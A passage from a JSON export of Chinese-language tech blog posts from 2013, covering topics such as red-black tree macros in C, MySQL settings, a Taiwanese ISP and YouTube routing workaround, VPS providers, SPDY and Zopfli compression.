(偶而有 NSFW 類的圖，不過大多數情況應該還好)</li>\r\n</ul>\r\n如果你喜歡吃東西，就找美食 blog 訂。如果你喜歡旅遊，就找遊記 blog 訂。\r\n\r\n附帶提醒，如果你發現裡面很多置入性行銷的文章，就再另外分一個類別吧 :p\r\n\r\n<h3>最後的提醒...</h3>\r\n\r\n中文 (母語) 與其他語言的 blog 要分到不同分類，如果你對簡體中文不熟悉的話，把簡體中文的 blog 也拆開。因為看母語與看其他語言的速度是不一樣的，如果看很多 feed 的時候，步調不一樣會很累。\r\n\r\n希望對一直不知道要怎麼使用 Google Reader 的人有幫助... XD",
    "title": "給新手看的入門：要怎麼用 Google Reader 接收資訊"
  },
  {
    "id": "3214",
    "body": "用 C Macro 實作的<a href=\"https://zh.wikipedia.org/wiki/%E7%BA%A2%E9%BB%91%E6%A0%91\">紅黑樹</a> (<a href=\"https://en.wikipedia.org/wiki/Red%E2%80%93black_tree\">Red-black tree</a>) 很經典，不過每次都忘記怎麼用... XD\r\n\r\n紅黑樹是平衡二元搜尋樹的一種，除了二元搜尋樹有的結構外，節點的資訊多了顏色。然後利用顏色達到平衡的特性。\r\n\r\n先定義單一節點的資料結構：\r\n<pre>struct element {\r\n    char *key;\r\n\r\n    int value1;\r\n    char *value2;\r\n\r\n    RB_ENTRY(element) meta;\r\n};</pre>\r\n紅黑樹的每個節點都需要紀錄母、左、右節點的指標，以及顏色，其中 <code>RB_ENTRY()</code> 所代表的資料結構會負責紀錄這些值。\r\n\r\n再來是定義母節點的資料結構，這樣之後就可以使用 <code>struct tree tree1;</code>、<code>struct tree tree2;</code>、<code>struct tree tree3;</code> 產生許多 tree 了：\r\n<pre>RB_HEAD(tree, element);</pre>\r\n這樣就會產生 <code>struct tree</code> 這個資料結構。如果只用一次可以偷懶寫成：\r\n<pre>RB_HEAD(tree, element) tree1;</pre>\r\n定義完資料結構後，接著比較函數 (要如何在兩個元素之間挑出大的那個)：\r\n<pre>int element_cmp(struct element *a, struct element *b)\r\n{\r\n    return strcmp(a-&gt;key, b-&gt;key);\r\n}</pre>\r\n接著就可以產生 C 語言的 function prototype，以及實際的 function：\r\n<pre>RB_PROTOTYPE(tree, element, meta, element_cmp);\r\nRB_GENERATE(tree, element, meta, element_cmp);</pre>\r\n然後程式裡面就可以這樣初始化：\r\n<pre>struct tree tree1;\r\nRB_INIT(&tree1);</pre>\r\n其中 <code>tree1</code> 就變成之後所有操作的基礎。\r\n\r\n增加元素：\r\n<pre>struct element *el;\r\nel = malloc(sizeof(struct element));\r\nel-&gt;key = strdup(\"key1\");\r\nel-&gt;value1 = 1;\r\nel-&gt;value2 = strdup(\"value2\");\r\nRB_INSERT(tree, &tree1, el);</pre>\r\n如果要尋找的話可以用 <code>RB_FIND()</code>：\r\n<pre>el-&gt;key = \"key2\";\r\npointer = RB_FIND(tree, &tree1, el);</pre>\r\n其他的就翻 <code>tree.h</code> 檔裡面類推...",
    "title": "用 C Macro 實作的紅黑樹..."
  },
  {
    "id": "3216",
    "body": "沒錯，是 <a href=\"http://blizzard.com/\">Blizzard</a> 的那個 Diablo (暗黑破壞神)：「<a href=\"https://github.com/mitallast/diablo-js/\">Isometric minimal-code style game at html5 canvas and javascript</a>」，遊戲可以在「<a href=\"http://mitallast.github.com/diablo-js/\">http://mitallast.github.com/diablo-js/</a>」這頁玩...\r\n\r\n<img src=\"https://i.gslin.com/imgur/WtwRSXg.jpg\" alt=\"\" />\r\n\r\n直接用 Blizzard 的圖資搞當然是很精彩 (而且很震撼)，但這樣搞不會被 DMCA takedown 嗎 XDDD",
    "title": "在瀏覽器玩 HTML5 + JS + Canvas 寫的 Diablo..."
  },
  {
    "id": "3217",
    "body": "在 <a href=\"http://www.oracle.com/\">Oracle</a> 放出 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 後，<a href=\"http://www.percona.com/\">Percona</a> 將 MySQL 5.5 與 5.6 設定值的差異整理列出來：「<a href=\"http://www.mysqlperformanceblog.com/2013/02/21/mysql-5-5-and-5-6-default-variable-values-differences/\">MySQL 5.5 and 5.6 default variable values differences</a>」。\r\n\r\n因為這是直接 dump 系統設定值比較，理論上所有「可以設定的值」都可以透過這個方法找出差異，不是靠設定值的改變就沒辦法了...\r\n\r\n文章後面有對作者覺得比較需要講的部份提出來。其中 <code>innodb_file_per_table</code> 終於變成預設值了 XD\r\n\r\n先繼續觀望...",
    "title": "MySQL 5.5 與 5.6 的預設值差異..."
  },
  {
    "id": "3220",
    "body": "用 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 跑 <a href=\"http://trac.edgewall.org/\">Trac</a>，遇到 Trac 常常出現 <code>MySQL server has gone away</code> 的問題，官方看起來非常的 open source style：我沒遇到，不太想要處理這個問題... XD\r\n\r\nAnyway，這個問題可以透過「<a href=\"http://trac.edgewall.org/ticket/3645\">#3645 (MySQL connections don't reconnect after idle timeout) – The Trac Project</a>」的 <a href=\"http://trac.edgewall.org/ticket/3645#comment:8\">comment:8</a> 給 workaround 掉，但我不希望在升級後問題又跑出來，所以就用「<a href=\"http://blog.gslin.org/archives/2009/11/07/2152/apache-2-2-worker-mpm-%E8%88%87-mod_fastcgi-%E7%9A%84%E5%95%8F%E9%A1%8C/\">Apache 2.2 worker MPM 與 mod_fastcgi 的問題</a>」這邊的解法來解了：\r\n<blockquote><code>www/trac: NO_CHECKSUM=yes | PATCH_SITES=http://freebsd-patches.s3.amazonaws.com/trac/ | PATCHFILES=patch-trac__db__mysql_backend.py</code></blockquote>\r\n不過 NO_CHECKSUM=yes 有點討厭，來找看看有沒有辦法「增加 checksum」而非「忽略 checksum」...",
    "title": "在 FreeBSD ports 裡用 local patch 修正問題..."
  },
  {
    "id": "3221",
    "body": "標題的原因可以參考「<a href=\"http://www.techbang.com/posts/12371-chief\">是方電訊機房失火，全台網路異常</a>」這篇。\r\n\r\n這是從 <a href=\"http://www.hinet.net/\">HiNet</a> 機房對 <code>ajax.googleapis.com</code> 做的 <a href=\"http://oss.oetiker.ch/smokeping/\">SmokePing</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/EjNBxDJ.webp\" /><img src=\"https://i.gslin.com/imgur/EjNBxDJ.jpg\" alt=\"\" /></picture>\r\n\r\n這要怎麼說呢...",
    "title": "HiNet 到 Google 改走國際線路，packet loss rate 反而降下來..."
  },
  {
    "id": "3222",
    "body": "據說是改接線路跳過 UPS 後直接上市電供應，然後逐層恢復：(出自公開社團「<a href=\"https://www.facebook.com/groups/297970400328792/\">225 內湖機房斷線八卦區</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/R2TUBQP.webp\" /><img src=\"https://i.gslin.com/imgur/R2TUBQP.jpg\" alt=\"\" /></picture>\r\n\r\n然後中華也恢復對 <code>ajax.googleapis.com</code> 該有的 packet loss 了：(參考上篇「<a href=\"http://blog.gslin.org/archives/2013/02/25/3221/hinet-%E5%88%B0-google-%E6%94%B9%E8%B5%B0%E5%9C%8B%E9%9A%9B%E7%B7%9A%E8%B7%AF%EF%BC%8Cpacket-loss-rate-%E5%8F%8D%E8%80%8C%E9%99%8D%E4%B8%8B%E4%BE%86/\">HiNet 到 Google 改走國際線路，packet loss rate 反而降下來...</a>」)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/H5n9whQ.webp\" /><img src=\"https://i.gslin.com/imgur/H5n9whQ.jpg\" alt=\"\" /></picture>\r\n\r\n現在連的到 <a href=\"http://www.chief.com.tw/\">www.chief.com.tw</a> 了，也看得到官方公告「<a href=\"http://www.chief.com.tw/telecom_big5/front/bin/ptdetail.phtml?Part=Announce20130226&amp;Rcg=1\">是方電訊IDC大樓復電 客戶服務陸續恢復正常</a>」了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3tbHLG3.webp\" /><img src=\"https://i.gslin.com/imgur/3tbHLG3.jpg\" alt=\"\" /></picture>",
    "title": "網路陸陸續續恢復了..."
  },
  {
    "id": "3223",
    "body": "原文是「<a href=\"http://blog.awe.sm/2013/02/25/medium-data-things-to-try-before-abandoning-sql/\">Medium Data: things to try before abandoning SQL</a>」，放棄 SQL 前應該要嘗試的事情，原文一開始就用粗體說明帶有強烈的偏見 XD\r\n<blockquote>First, my thesis: a lot of less-experienced developers are using big data and NoSQL technologies because they are new and cool, and because SQL is old and hard. A lot of these people would save themselves time and effort by learning more about SQL and tuning their databases and hardware just a little bit.</blockquote>\r\n文章寫的相當概念性，主要是說明幾件事情：\r\n<ul>\r\n\t<li>其實 SQL 可以解決大部分的事情，大家都知道 SQL 的瓶頸在哪裡，有哪些 workaround 可以避開。</li>\r\n\t<li>不要因為 <a href=\"http://dev.mysql.com/\">MySQL</a> 做不到就覺得 SQL 不好用，在這種情況下，<a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的功能與成熟度很值得看看。</li>\r\n\t<li>不要用 <a href=\"http://www.oracle.com/\">Oracle</a> 官方版本的 MySQL... XD</li>\r\n\t<li>通常可以用 cache 解決的就用 cache 試著解看看，雖然 invalidate 問題不太好處哩... XD</li>\r\n\t<li>如果是 Read 數量太多，可以用 replication 解決不少問題。</li>\r\n\t<li>試著去理解 index 的「原理」，也就是資料結構，這對於要怎麼用 index 絕對有強力的幫助。</li>\r\n\t<li>當上面都做完而發現還是不夠的時候就 sharding 吧。</li>\r\n</ul>",
    "title": "換 NoSQL 前的建議..."
  },
  {
    "id": "3224",
    "body": "開了一堆頁面，卻找不到放音樂的 tab 是哪個？在新版的 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 裡會將正在放音樂的 tab 用動畫標示在 tab 上的 icon：「<a href=\"http://googlesystem.blogspot.com/2013/02/chrome-shows-which-tab-is-making-noise.html\">Chrome Shows Which Tab Is Making a Noise</a>」，像是這樣的提示：\r\n\r\n<img src=\"https://i.gslin.com/imgur/LTU8G12.gif\" alt=\"\" />\r\n\r\n目前在 Canary channel 裡才有，等個幾個月就會在正式版本出現了... (canary -&gt; dev -&gt; beta -&gt; stable)",
    "title": "新版的 Google Chrome 將會在 Tab 上 Icon 標示發出聲音..."
  },
  {
    "id": "3227",
    "body": "在「<a href=\"http://mitchribar.com/2013/02/time-warner-cable-sucks-for-youtube-twitchtv/\">How to stop <del>TWC</del> ISPs sucking at Youtube</a>」這篇看到作者 (在美國) 抱怨時代華納 (Time Warner Cable，TWC) 連 <a href=\"http://www.youtube.com/\">YouTube</a> 看影片的速度很慢，然後發現擋掉某個網段就快很多了...\r\n\r\n看了 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上的討論以及以前得知的架構，這些 IP 有可能是：\r\n<ul>\r\n\t<li>YouTube 自己的 CDN 伺服器，以 appliance 的形式放到 TWC 內。</li>\r\n\t<li>TWC 買 YouTube cache solution 丟自己機房。</li>\r\n</ul>\r\n如果要猜的話，我會猜前者...\r\n\r\n然後同樣問題也在 <a href=\"http://www.hinet.net/\">HiNet</a> 發生，實際測試後就找到 <code>210.71.222.x</code> 這個網段。\r\n\r\n在 <a href=\"http://www.linux.org/\">Linux</a> 下是使用 <a href=\"http://www.netfilter.org/\">iptables</a> 擋，其他作業系統可以在原文裡找到說明：(我自己的 Linux 是放到 <code>/etc/rc.local</code> 裡)\r\n<blockquote><code>/sbin/iptables -A OUTPUT -d 210.71.222.0/24 -j REJECT</code></blockquote>\r\n<strong>補充 Windows 的方法：</strong>\r\n\r\n在「開始」選「執行」，輸入 <code>cmd</code>，然後跳出黑色視窗後輸入：\r\n<blockquote><code>netsh advfirewall firewall add rule name=\"BLOCKSLOWYOUTUBE\" dir=in action=block remoteip=210.71.222.0/24 enable=yes</code></blockquote>\r\n設定完後可以回到瀏覽器找影片測試 YouTube 的速度。\r\n\r\n擋掉後會把流量導到國外 (測了幾個都是美國的機房)，而連到國外機房可以跑到 8Mbps (速度會飄動，不過都超過 4Mbps)，反而比國內 HiNet 機房內的速度快太多...\r\n\r\n看起來是 YouTube 的 flash player 會先偵測位於 ISP 的伺服器，有問題時會使用備用方案 (在這邊是美國機房)，只是使用備用方案比 ISP 的伺服器快多了。",
    "title": "HiNet 讓 YouTube 變快的方法：擋掉 210.71.222.0/24"
  },
  {
    "id": "3228",
    "body": "<a href=\"https://www.google.com/\">Google</a> 以 <a href=\"http://www.apache.org/licenses/LICENSE-2.0.html\">Apache License, Version 2.0</a> 發表了與 zlib/deflate 相容的壓縮程式：「<a href=\"http://google-opensource.blogspot.com/2013/02/compress-data-more-densely-with-zopfli.html\">Compress Data More Densely with Zopfli</a>」。\r\n\r\n與 zlib/deflate 相容代表現有的 browser 都不需要變動，而在 <a href=\"https://code.google.com/p/zopfli/\">project 頁面</a>上是這樣寫：\r\n<blockquote>Zopfli Compression Algorithm is a new zlib (gzip, deflate) compatible compressor. This compressor takes more time (~100x slower), but compresses around 5% better than zlib and better than any other zlib-compatible compressor we have found.</blockquote>\r\n比起現有的 zlib-compatible compressor 大約慢 100 倍 (XDDD)，但對於靜態內容的幫助會很大，因為壓一次後就可以用很多次。",
    "title": "Google 發表與 zlib/deflate 相容的壓縮程式，再小 5%..."
  },
  {
    "id": "3230",
    "body": "轉自 <a href=\"http://xkcd.com/\">xkcd</a> 的「<a href=\"http://xkcd.com/1180/\">Virus Venn Diagram</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wzguzow.webp\" /><img src=\"https://i.gslin.com/imgur/wzguzow.jpg\" alt=\"\" /></picture>",
    "title": "電腦病毒... XD"
  },
  {
    "id": "3232",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 一直是 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 的寵兒，其中有幾項與其他的 VPS 比起來相當突出：\r\n<ul>\r\n\t<li>相當直覺而且簡單易懂的管理界面，另外還有 DNS 代管服務。</li>\r\n\t<li>超值的 CPU 用量，比起 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 或是其他 VPS 的限制都寬不少。</li>\r\n</ul>\r\n另外價錢合理以及全球各地區都有機房也是很重要的特色。\r\n\r\n不過國外有人寫了一篇關於 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 與 Linode 的比較文章後，Linode 就被打入冷宮了 XDDD\r\n\r\n雖然 DigitalOcean 只有兩個點 (一個在美東，另外一個在歐洲)，而且管理界面還有點陽春，但提供的品質與價錢遠遠超越 Linode... (請參考「<a href=\"http://blog.gslin.org/archives/2013/02/13/3203/digitalocean-%E8%88%87-linode-%E7%9A%84%E6%AF%94%E8%BC%83/\">DigitalOcean 與 Linode 的比較...</a>」以及「<a href=\"http://blog.gslin.org/archives/2013/02/15/3206/%E6%B8%AC%E8%A9%A6-digitalocean-%E8%8D%B7%E8%98%AD%E9%98%BF%E5%A7%86%E6%96%AF%E7%89%B9%E4%B8%B9%E7%9A%84%E6%A9%9F%E5%99%A8/\">測試 DigitalOcean 荷蘭阿姆斯特丹的機器...</a>」這兩篇文章)\r\n\r\n過了兩個禮拜後 Linode 總算反擊了：「<a href=\"http://blog.linode.com/2013/02/28/create-a-free-account-and-trial-linodes/\">Create a free account and Trial Linodes</a>」，不過力道看起來很差啊，依照原文的說明是讓你試用 Linode 512 這個規格的機器幾個小時... XD\r\n<blockquote>Once confirmed you will be taken to a welcome page (the Account tab), where you will be given the option to spin up a Linode 512 cloud server to play around with for a couple of hours.</blockquote>\r\n對於台灣的使用者來說，Linode 有東京機房的服務還是相當有用的，有興趣的人可以跳進去測試看看 :p\r\n",
    "title": "Linode 推出免費試用方案..."
  },
  {
    "id": "3233",
    "body": "<a href=\"http://www.xiph.org/\">Xiph</a> 是個網路多媒體相關的 open source 組織，前陣子放了教學影片，介紹多媒體的理論：「<a href=\"http://www.xiph.org/video/\">Xiph.org: Video</a>」，目前每一集都大約半小時，可以下載下來或是直接在網站上看。\r\n\r\n第一課「<a href=\"http://www.xiph.org/video/vid1.shtml\">Episode 1: A Digital Media Primer for Geeks</a>」從數位訊號開始講，包括影像與聲音。第二課「<a href=\"http://www.xiph.org/video/vid2.shtml\">Episode 2: Digital Show & Tell</a>」則是介紹聲音的部份 (包括數位與類比)。\r\n\r\n有興趣可以去看看 :p",
    "title": "Xiph 講數位訊號..."
  },
  {
    "id": "3235",
    "body": "<a href=\"http://aws.amazon.com/ses/\">AWS SES</a> 是 <a href=\"http://aws.amazon.com/\">AWS</a> 服務裡面設計問題超多的一個服務，在推出兩年後 (2011 年一月) 總算是提供把 Blacklist 拿掉的功能...\r\n\r\n原始的設計是，只要對方位置不存在，這個 e-mail 就會進黑名單 14 天，無法刪除。而一次寄給多人的信件，只要有一個人是黑名單就會全部擋掉 XDDD\r\n\r\n再來是這個 14 天限制，並不是「第一次被擋掉後 14 天」，而是「最後一次失敗後 14 天」，而「最後一次失敗」包括 retry... =_=\r\n\r\n弄到最後反而是自己架 mail server 比較快，針對問題很多的 <code>@yahoo.com</code> 系列與 <code>@*.hinet.net</code> 透過 AWS SES 寄就好...",
    "title": "AWS SES 總算可以「手動」把 Blacklist 拿掉..."
  },
  {
    "id": "3236",
    "body": "<strong>Update</strong>：請參考 comment 裡 scw 貼的連結，這是用 BGP 惡搞出來的假象。\r\n\r\n在看到<a href=\"https://thepiratebay.se/\">海盜灣</a>最新的公告文章「<a href=\"https://thepiratebay.se/blog/229\">PRESS RELEASE, NEW PROVIDER FOR TPB</a>」這篇，其中這段：\r\n<blockquote>Today we can reveal that we have been invited by the leader of the republic of Korea, to fight our battles from their network.</blockquote>\r\n唔啊... 這哪招啊... @_@\r\n\r\n現在查 <code>thepiratebay.se</code> 是 <code>175.45.177.217</code>：\r\n<pre>;; ANSWER SECTION:\r\nthepiratebay.se.        52276   IN      A       194.71.107.15</pre>\r\n這個 IP 註冊在平壤的柳京洞 (Ryugyong-dong)：\r\n<pre>inetnum:        175.45.176.0 - 175.45.179.255\r\nnetname:        STAR-KP\r\ndescr:          Ryugyong-dong\r\ndescr:          Potong-gang District\r\ncountry:        KP\r\nadmin-c:        SJVC1-AP\r\ntech-c:         SJVC1-AP\r\nstatus:         ALLOCATED PORTABLE\r\nmnt-by:         APNIC-HM\r\nmnt-lower:      MAINT-STAR-KP\r\nmnt-routes:     MAINT-STAR-KP\r\nremarks:        -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\nremarks:        This object can only be updated by APNIC hostmasters.\r\nremarks:        To update this object, please contact APNIC\r\nremarks:        hostmasters and include your organisation's account\r\nremarks:        name in the subject line.\r\nremarks:        -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+\r\nchanged:        hm-changed@apnic.net 20091221\r\nsource:         APNIC</pre>\r\n來真的啊～",
    "title": "海盜灣進駐北韓..."
  },
  {
    "id": "3238",
    "body": "<a href=\"http://www.freebsd.org/\">FreeBSD</a> 7.4 只支援到 2013/02/28，過了一個禮拜後看起來也沒換日期 (<a href=\"http://www.freebsd.org/security/\">FreeBSD Security Information</a>)，而 <a href=\"http://www.freebsd.org/ports/\">ports</a> 宣佈不需要再支援 7.4 的公告也出來了：「<a href=\"http://lists.freebsd.org/pipermail/freebsd-ports-announce/2013-March/000051.html\">[FreeBSD-Ports-Announce] [HEADS UP] FreeBSD Ports tree has been tagged with RELEASE_7_EOL</a>」，所以 FreeBSD 7 系列算是退休了，現在 STABLE 只包括 8 與 9...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5eYUCgT.webp\" /><img src=\"https://i.gslin.com/imgur/5eYUCgT.jpg\" alt=\"\" /></picture>\r\n\r\n不過 8.3 與 9.0 都還是不穩 (userland 下跑個大一點的 <a href=\"http://www.phpunit.de/\">phpunit</a> 就會 kernel panic 是哪招 XD)，所以這些跑 7.4 的機器得想辦法升級到 9.1...",
    "title": "FreeBSD 停止支援 7.4..."
  },
  {
    "id": "3240",
    "body": "在「<a href=\"http://zoompf.com/2013/03/facebook-adds-spdy-support\">Facebook Adds SPDY Support!</a>」看到 <a href=\"https://www.facebook.com/\">Facebook</a> 將全面支援 <a href=\"https://developers.google.com/speed/spdy/\">SPDY</a> 的消息。\r\n\r\nFacebook 的 <code>*.fbcdn.net</code> 在二月先上 SPDY 了：\r\n<blockquote>I managed to find this image uploaded by Varun Kumar on February 1 2013, showing that Facebook’s CDN hostname *.fbcdn.net was serving static resources like images and JavaScript via SPDY.</blockquote>\r\n而 <code>m.facebook.com</code> (行動版) 也上 SPDY 了，不過要 <a href=\"http://www.android.com/\">Android</a> 3+ 才支援。\r\n\r\n目前 SPDY 主要支援的平台是 <a href=\"http://www.mozilla.org/firefox/\">Firefox</a> 13+ (11+ 支援，但預設沒開)，<a href=\"https://www.google.com/chrome\">Google Chrome</a> 與 Android 3+，市占率大約 50%... 好像也不少？(參考：<a href=\"http://caniuse.com/spdy\">Can I use SPDY networking protocol?</a>)",
    "title": "Facebook 將全面支援 SPDY..."
  },
  {
    "id": "3242",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 剛剛發表了「<a href=\"http://blog.linode.com/2013/03/07/linode-nextgen-the-network/\">Linode Nextgen: The Network</a>」，對外說明他們砸了大筆銀子在骨幹網路上，於是把本來的傳輸限制提昇為原來的十倍。也就是本來限制 200GB 的 Linode 512 就變成 2000GB。\r\n\r\n六個機房都包括在內：(於是東京機房也是其中之一)\r\n<blockquote>We’re upgrading our entire network, in all six datacenters.</blockquote>\r\n然後所有架構都是以 <a href=\"https://en.wikipedia.org/wiki/Cisco_Nexus_switches\">Cisco Nexus</a> 為主：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UqfyhVA.webp\" /><img src=\"https://i.gslin.com/imgur/UqfyhVA.jpg\" alt=\"\" /></picture>\r\n\r\n看起來 Cisco 給了很漂亮的價錢讓 Linode 廣告... XD\r\n\r\n這麼多頻寬好像可以拿來幹些事情... (來想看看)",
    "title": "Linode 骨幹升級，傳輸量限制提昇為原來的十倍！"
  },
  {
    "id": "3243",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到 VP8 可以使用 <a href=\"http://www.mpegla.com/\">MPEG LA</a>「重要的」專利：「<a href=\"http://tech.slashdot.org/story/13/03/07/2242203/google-and-mpeg-la-reach-vp8-patent-agreement\">Google and MPEG LA Reach VP8 Patent Agreement</a>」，這次授權不僅限於 <a href=\"https://www.google.com/\">Google</a>，還包括讓 Google 可以免費授權其他人使用。\r\n\r\n官方公告包括了 <a href=\"http://www.webmproject.org/\">WebM</a> 網站上「<a href=\"http://blog.webmproject.org/2013/03/vp8-and-mpeg-la.html\">VP8 and MPEG LA</a>」，MPEG LA 的「<a href=\"http://www.mpegla.com/Lists/MPEG%20LA%20News%20List/Attachments/88/n-13-03-07.pdf\">Google and MPEG LA Announce Agreement Covering VP8 Video Format</a>」... (話說 MPEG LA 的聯絡窗口叫做 Tom O'Reilly，跟那位有關嗎？:p)\r\n\r\n<a href=\"http://techcrunch.com/\">TechCrunch</a> 也給了一篇分析「<a href=\"http://techcrunch.com/2013/03/07/google-and-mpeg-la-sign-licensing-agreement-covering-googles-vp8-video-codec-clearing-the-way-for-wider-adoption/\">Google And MPEG LA Sign Licensing Agreement Covering Google’s VP8 Video Codec, Clearing The Way For Wider Adoption</a>」。",
    "title": "VP8 將可以無償使用 MPEG LA 重要的專利..."
  },
  {
    "id": "3244",
    "body": "以往在使用 <a href=\"https://www.google.com/\">Google</a> 的 <code>site:</code> 只知道能放 suffix，譬如 <code>site:edu.tw</code>。\r\n\r\n而剛剛在「<a href=\"http://googlesystem.blogspot.com/2013/03/advanced-uses-for-googles-site-operator.html\">Advanced Uses for Google's Site: Operator</a>」則是看到了 <code>site:blog.*</code> 這種用法，或是 <code>site:blog.*.com</code> 這種用法，不過原作者目前測試發現有漏，我自己測試是沒什麼問題 :p\r\n\r\n另外這個技巧在圖片搜尋也可以使用 :p",
    "title": "Google 的 site: 限制更少了..."
  },
  {
    "id": "3245",
    "body": "前幾天 <a href=\"https://www.google.com/\">Google</a> 推出 <a href=\"https://code.google.com/p/zopfli/\">Zopfli</a>：「<a href=\"http://blog.gslin.org/archives/2013/03/01/3228/google-%E7%99%BC%E8%A1%A8%E8%88%87-zlibdeflate-%E7%9B%B8%E5%AE%B9%E7%9A%84%E5%A3%93%E7%B8%AE%E7%A8%8B%E5%BC%8F%EF%BC%8C%E5%86%8D%E5%B0%8F-5/\">Google 發表與 zlib/deflate 相容的壓縮程式，再小 5%...</a>」，是個壓縮率比目前實做的 <a href=\"https://tools.ietf.org/html/rfc1951\">deflate</a>/<a href=\"http://www.zlib.net/\">zlib</a> 還高的新演算法。\r\n\r\n而 <a href=\"http://zopflinator.org/\">Zopflinator</a> 則是提供比較的網站，你可以把網址丟進去後看到未壓縮的大小、用 deflate 預設值壓縮後的大小，gzip -9 的大小，以及 zopfli 後的大小。\r\n\r\n原文出自 <a href=\"http://www.stevesouders.com/\">Steve Souders</a> 的「<a href=\"http://www.stevesouders.com/blog/2013/03/08/zopflinator/\">Zopflinator</a>」...",
    "title": "Zopflinator：計算 Zopfli 效果比 gzip -9 好多少的網站..."
  },
  {
    "id": "3247",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到這個新聞：「<a href=\"http://science.slashdot.org/story/13/03/08/2044234/man-has-75-of-skull-replaced-by-3d-printed-materials\">Man Has 75% of Skull Replaced By 3D-Printed Materials</a>」，<a href=\"http://www.oxfordpm.com/\">Oxford Performance Materials</a> 的官方新聞稿在「<a href=\"http://www.oxfordpm.com/news/article/2013-03-06_3d-printed_skull_implant_ready_for_operation\">3D-Printed Skull Implant Ready for Operation</a>」。\r\n\r\n<a href=\"http://www.fda.gov/\">FDA</a> (美國食品藥品監督管理局) 在上個月 (2013/02/18) 批准 OPM 將 3D 列印技術用在這次的頭骨植入手術。接受移植者先接受掃描讓 OPM 帶資料回去建，而上星期手術完成了... 對於頭骨受傷的人 (像是因戰爭受傷) 又多了一個方法 @_@\r\n\r\n不過報導裡沒提到材質？到底是用什麼材質啊...",
    "title": "用 3D-Printed 技術的頭骨..."
  },
  {
    "id": "3249",
    "body": "在「<a href=\"http://kottke.org/13/03/petition-the-white-house-to-eliminate-daylight-saving-time\">Petition the White House to eliminate daylight saving time</a>」看到有人直接到白宮請願網站上請願中止每年需要調整兩次時間的「<a href=\"https://zh.wikipedia.org/wiki/%E5%A4%8F%E6%97%B6%E5%88%B6\">日光節約時間</a>」：「<a href=\"https://petitions.whitehouse.gov/petition/eliminate-bi-annual-time-change-caused-daylight-savings-time/ShChxpKh\">Eliminate the bi-annual time change caused by Daylight Savings Time</a>」。\r\n\r\n請願者認為，以現在的觀點來看，這實在太擾民了... 而發起還不到一個禮拜，就有兩萬人請願了，來看看接下來的進度... XD",
    "title": "中止日光節約時間 (Daylight Savings Time) 的請願..."
  },
  {
    "id": "3250",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 放出兩個新功能，一個是 <a href=\"http://www.apple.com/iphone/\">iPhone</a> 版本的管理 app：「<a href=\"http://aws.typepad.com/aws/2013/03/aws-management-console-for-iphone.html\">AWS Management Console for iPhone</a>」，另外一個是 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 可以跨區域複製機器了：「<a href=\"http://aws.typepad.com/aws/2013/03/ec2-ami-copy-between-regions.html\">Cross Region EC2 AMI Copy</a>」。\r\n\r\n直接抓官方提供的畫面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fLO7IJR.webp\" /><img src=\"https://i.gslin.com/imgur/fLO7IJR.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oPo4E11.webp\" /><img src=\"https://i.gslin.com/imgur/oPo4E11.jpg\" alt=\"\" /></picture>\r\n\r\n這兩個功能都算是欠很久了...",
    "title": "AWS 支援 iPhone 管理，以及跨區域複製機器功能..."
  },
  {
    "id": "3251",
    "body": "在「<a href=\"http://threatpost.com/en_us/blogs/twitter-oauth-api-keys-leaked-030713\">Twitter OAuth API Keys Leaked</a>」看到有人把 <a href=\"https://twitter.com/\">Twitter</a> 官方應用程式的 API key 給解出來了，包括所有平台 XD\r\n\r\n這件事情在技術上沒辦法避免，就跟 DRM 技術一樣... 不過也不用擔心，這些 key 與 secret 沒有安全問題，在 <a href=\"http://oauth.net/\">OAuth</a> 設計上只是拿來識別 client 用，而用這些 key 的好處是 Twitter 不會限制這些 client 的 API 呼叫次數... XD\r\n\r\n這完全怒了啊 XDDD",
    "title": "有人把 Twitter 官方 App 的 OAuth API Key 解出來了..."
  },
  {
    "id": "3252",
    "body": "在「<a href=\"http://www.fromdual.com/switching-from-mysql-myisam-to-galera-cluster\">Switching from MySQL/MyISAM to Galera Cluster</a>」這邊看到一個 script 可以檢查 <a href=\"http://dev.mysql.com/\">MySQL</a> MyISAM 換到 InnoDB，而且預定要換成 <a href=\"http://www.codership.com/content/using-galera-cluster\">Galera Cluster</a> 時的問題。\r\n\r\n常見的問題都有檢查到，還蠻有用的：\r\n<ul>\r\n\t<li>針對沒有 Primary Key 的表格提出警告，讓管理者規劃補上 Primary Key。</li>\r\n\t<li>針對 MyISAM 換成 InnoDB 後造成 Primary Key 太長的表格提出警告，讓管理者想辦法修改。</li>\r\n</ul>\r\nGalera Cluster 無法處理沒有 Primary Key 表格的刪除動作：(可以參考「<a href=\"https://kb.askmonty.org/en/mariadb-galera-cluster-known-limitations/\">MariaDB Galera Cluster - Known Limitations</a>」這邊的說明)\r\n<blockquote>DELETE operation is unsupported on tables without primary key. Also rows in tables without primary key may appear in different order on different nodes. Don't use tables without primary key.</blockquote>\r\n不過每個表格都要有 Primary Key 